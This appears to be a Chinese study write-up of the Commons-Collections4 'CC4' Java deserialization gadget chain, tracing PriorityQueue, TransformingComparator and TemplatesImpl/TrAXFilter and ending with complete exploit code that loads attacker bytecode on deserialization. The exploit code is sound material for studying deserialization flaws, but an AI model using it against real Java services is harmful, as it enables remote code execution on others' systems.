环境配置:
- Commons-Collections 4.0
- jdk8u65
maven中导入坐标:
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
CC4调用链分析:
cc4这条依赖了commons-collections4
而不再是以前的3.2.1版本:
查找transform
方法,查找到了一个类的compare
方法,调用了transform
方法。

该类TransformingComparator
是可以序列化的,并且这个compare
方法在很多地方都会用到:

我们在网上查询谁调用了这个compare
方法,由于调用该方法的类很多,最终找到了一个原生的java类PriorityQueue
优先队列,并且该类是可以实现序列化的。
readObejct
方法中调用heapify
方法—>siftDown
—>siftDownUsingComparator
—>compare
方法。

调试看哪里没有运行成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) };
ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
SerializeUtil.serialize(priorityQueue); SerializeUtil.unSerialize(); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
点击heapify
方法,该方法是对size进行运算,可以看成是/2
。

size默认值为0:

因此我们要让他走进siftDown
,就是要让i的结果大于0才可以,那么可以推断出size的值需要>=2
,可以直接使用反射修改字段值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) };
ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass(); Field sizeFiled = priorityQueueClass.getDeclaredField("size"); sizeFiled.setAccessible(true); sizeFiled.set(priorityQueue,2);
SerializeUtil.serialize(priorityQueue); SerializeUtil.unSerialize(); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
看别的师傅是调用add
对size进行赋值,并且不算调用TemplatesImpl
的newTransformer
方法,而调用外部的TrAXFilter
的构造方法,间接去调用这个newTransformer
方法,应该这才是正确的调用链。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
|
还没序列化的时候就已经弹出计算器了,这是为什么呢?这是因为add
会调用siftUpUsingComparator
方法,而这个方法内部会调用comparator.compare
方法。

这和前面cc3的逻辑一样,我们要在调用这个comparator.compare
不走我们的调用链。因此在序列化之前不进行赋值。即传入一个没有的transformers
,add之后在修改回去。
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| private static void exp2() throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer<>()); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass(); Field transformingComparatorClassDeclaredField = transformingComparatorClass.getDeclaredField("transformer"); transformingComparatorClassDeclaredField.setAccessible(true); transformingComparatorClassDeclaredField.set(transformingComparator, chainedTransformer); SerializeUtil.serialize(priorityQueue); SerializeUtil.unSerialize(); }
|